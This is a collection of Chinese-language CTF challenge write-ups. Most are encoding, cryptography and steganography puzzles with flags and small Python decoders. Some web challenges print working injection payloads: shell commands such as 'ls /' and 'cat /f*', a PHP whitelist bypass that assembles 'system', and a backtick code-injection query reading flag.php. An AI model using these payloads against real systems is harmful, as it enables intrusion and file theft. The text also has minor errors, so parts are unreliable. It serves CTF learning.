0x41
in hexadecimal, what would it be in ASCII
?0x41
很明显,这是16进制的41,我们转成10进制,65
A
flag{A}
number 27 (base 10)
to binary (base 2)
?100111
,即flag为:CTF{11011}
0x3D
(base 16
) in decimal (base 10
).CTF{61}
}382s73r6p4404r28419512s5ro451p46{uozt
flag{64b154ad5e21591482d4044b6d37e283}
flag{6bd37a2c97f7fe51d47981ba00bfafe4}
%66%6c%61%67%7b%75%73%65%72%6e%61%6d%65%3d%27%7a%6b%61%71%27%20%61%6e%64%20%31%3d%31%7d
flag{username='zkaq' and 1=1}
flag{THEREISACIPHER}
11 11111 010 000 0 001101 1010 111 100 0 001101 01111 000 001101 00 10 1 0 010 0 000 1 01111 10 11110 101011
flag{M0RSE_CODE_1S_INTEREST1N9!}
lfe{agdf7244bb47cd310b7b1d71e01c9e6d}c@@@@
lfe{ag
df7244
bb47cd
310b7b
1d71e0
1c9e6d
}c@@@@
215643
的顺序重新排序flag{efd4427bbcd74137bb0d1e017c16de9c}
题目为:
110011001101100011000010110011101111011
100111000101101011001011000011101111111000101100111100000000001
1111011
先对第一行进行分析:
二进制 — 十六进制
s1 = '110011001101100011000010110011101111011'
hex(int(s5,2))
# 0x666c61677b
发现666c61677b
,即flag{
最后一行是{,猜测应该是}。
同样对第二行分析:
二进制 — 十六进制
s2 = '100111000101101011001011000011101111111000101100111100000000001'
hex(int(s1,2))
# 4e2d65877f167801
# 不在ASCII字符的表示范围。根据题目猜测为中文unicode编码。
# 调整为unicode标准格式:
# \u4e2d\u6587\u7f16\u7801
unicode解码,得到以下结果:
中文编码
那么,三行的解码结果为:flag{中文编码}
from Crypto.Util.number import *
p=0xa6055ec186de51800ddd6fcbf0192384ff42d707a55f57af4fcfb0d1dc7bd97055e8275cd4b78ec63c5d592f567c66393a061324aa2e6a8d8fc2a910cbee1ed9
q=0xfa0f9463ea0a93b929c099320d31c277e0b0dbc65b189ed76124f5a1218f5d91fd0102a4c8de11f28be5e4d0ae91ab319f4537e97ed74bc663e972a4a9119307
e=0x6d1fdab4ce3217b3fc32c9ed480a31d067fd57d93a9ab52b472dc393ab7852fbcb11abbebfd6aaae8032db1316dc22d3f7c3d631e24df13ef23d3b381a1c3e04abcc745d402ee3a031ac2718fae63b240837b4f657f29ca4702da9af22a3a019d68904a969ddb01bcf941df70af042f4fae5cbeb9c2151b324f387e525094c41
c=0x7fe1a4f743675d1987d25d38111fae0f78bbea6852cba5beda47db76d119a3efe24cb04b9449f53becd43b0b46e269826a983f832abb53b7a7e24a43ad15378344ed5c20f51e268186d24c76050c1e73647523bd5f91d9b6ad3e86bbf9126588b1dee21e6997372e36c3e74284734748891829665086e0dc523ed23c386bb520
n = p*q
m = pow(c, inverse(e,(p-1)*(q-1)), n)
print(long_to_bytes(m).decode())
# ALEXCTF{RS4_I5_E55ENT1AL_T0_D0_BY_H4ND}
使用如下脚本中将文件内容进行进制转换,这里全部转为16进制格式
s = ["d87","x65","x6c","x63","o157","d109","o145","b100000","d116","b1101111","o40","x6b","b1100101","b1101100","o141","d105","x62","d101","b1101001","d46","o40","d71","x69","d118","x65","x20","b1111001","o157","b1110101","d32","o141","d32","d102","o154","x61","x67","b100000","o141","d115","b100000","b1100001","d32","x67","o151","x66","d116","b101110","b100000","d32","d102","d108","d97","o147","d123","x31","b1100101","b110100","d98","d102","b111000","d49","b1100001","d54","b110011","x39","o64","o144","o145","d53","x61","b1100010","b1100011","o60","d48","o65","b1100001","x63","b110110","d101","o63","b111001","d97","d51","o70","d55","b1100010","d125","x20","b101110","x20","b1001000","d97","d118","o145","x20","d97","o40","d103","d111","d111","x64","d32","o164","b1101001","x6d","o145","x7e"]
a= ""
b= ""
f= ""
for i in s:
a=i
for j in range(1):
if a[0:1]== 'd':
b=str(hex(int(a[1:])))
b= b[2:] + ""
f= f + b
if a[0:1]== 'x':
b= a[1:] + ""
f= f + b
if a[0:1]== 'o':
b=str(hex(int(a[1:], 8)))
b= b[2:] + ""
f= f + b
if a[0:1]== 'b':
b=str(hex(int(a[1:], 2)))
b= b[2:] + ""
f= f + b
print(f)
得到16进制:
57656c636f6d6520746f206b656c61696265692e204769766520796f75206120666c6167206173206120676966742e2020666c61677b31653462663831613633393464653561626330303561633665333961333837627d202e2048617665206120676f6f642074696d657e
再把16进制转为字符串
得到flag:
Welcome to kelaibei. Give you a flag as a gift. flag{1e4bf81a6394de5abc005ac6e39a387b} . Have a good time~
from Crypto.Util.number import *
s = '震兑巽艮艮兑巽兑震兑艮坤坎坎巽兑震乾离震震坎巽震震兑离震巽兑巽艮兑坎艮离艮巽坤兑震乾艮震离巽坤乾兑震离震离乾艮艮兑坎乾震巽巽坎坎震乾离震震巽艮震兑坎乾离艮巽艮离兑坎巽震乾兑巽离兑巽艮艮兑兑巽巽震乾艮震兑巽艮坎震乾艮震震坎坤坎'
table= {'坤':'7',
'艮':'6',
'坎':'5',
'巽':'4',
'震':'3',
'离':'2',
'兑':'1',
'乾':'0',
}
s2 = ''
for c in s:
print(table[c],end='')
s2 += table[c]
print('')
s3 = int(s2,8)
print(s3)
print(long_to_bytes(s3))
# flag{aa7ce8f7-9c58-4649-a734-260b3bdc35c7}
8
1=ls /
,发现根目录下有一个ffffllllaaaagggg
文件1=cat /f*
flag{09E2D0EDED27FE86}
falg{NSCTF_e6532a34928a3d1dadd0b049d5a3cc57}
flag{h1_c7f}
flag{feb35bfea597a2562c0680275d1370e7}
用winhex打开图片发现藏有一个docx文档,分离出来(懒的话就直接改后缀为zip)
打开文档发现是个二维码 扫码即可解得flag:在线识别工具
flag{i_am_fl@g}
下载附件解压得到两张图片
根据题目描述,猜测需要分析图片,这里使用工具Stegsolve,分析两张图片,发现一张二维码
扫码得到flag
flag为:flag{so_simple_and_you_win}
打开doc后,直接ctrl+f搜索flag,在下面这段文字后面发现flag
将后面都复制出来,得到flag:flag{Fe7Ms9N1b_XxCtF2_36_Q7J_f5g2}
第一个限制 strlen($content) >= 80
,字符不超过80
第二个限制
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '[', ']'];是过滤了一些字符,其中包括[]和""等
第三个限制
'$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];'要求必须使用给出的函数
题目中给出了base_convert函数、dechex函数、hex2bin函数。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
构造如下payload:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls /
其实就是:
c=$p=_GET;($_GET){pi}($_GET){abs}&pi=system&abs=ls /
通过这个就能看到flag文件了
之后就是cat一下就行了,flag为:flag{477f86d9-c59b-4ce1-9987-536e6b36f5bb}
打开图片查看hex,发现flag就在结尾处。
flag 为 flag{e0323a9039add2978bf5b49550572c7c}
下载得到一个压缩包 bilibili.zip
直接解压可以得到一个图片。
打开查看hex 搜索 flag 发现里面存在txt文件
直接用linx对图片文件进行分离(或者偷懒改成zip)。
得到一个压缩包 查看hex 发现 50 4B 01 02 后面不对
试着将 09 改为 00
压缩包可以解压了。得到flag.txt 。但是只有前半部分。
图片下面有很大的空白,用stegsolve得到后半部分。
得到 flag:flag{madeebbyMoSen00x1}
Stegsolve直接合并
刷几下出FLAG了,flag为:flag{yes_you_right!}
下载附件,查看hex
看见压缩包文件头直接改文件后缀为zip即可
打开压缩包发现flag.txt,打开得到flag
flag为:flag{xlsx,pptx,docx_are_just_zip_files}
打开压缩包后 文本文档写 咦!这个文件怎么打不开?一眼文件头,发现少了GIF的文件头
补上GIF文件头 47 49 46 38
打开图片后是个GIF 把图片逐帧取出,可以放到这里面在线逐帧取:在线工具
把取出的内容拼接 发现是base64 在线转换即可获得flag:CTF{wang_bao_qiang_is_sad}
/?hello=);var_dump(abc
/?hello=);var_dump(`ls`
/?hello=);var_dump(`cat flag.php`
flag{eb3ee4ae-7ccb-45ae-b63b-3997f037dd75}
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.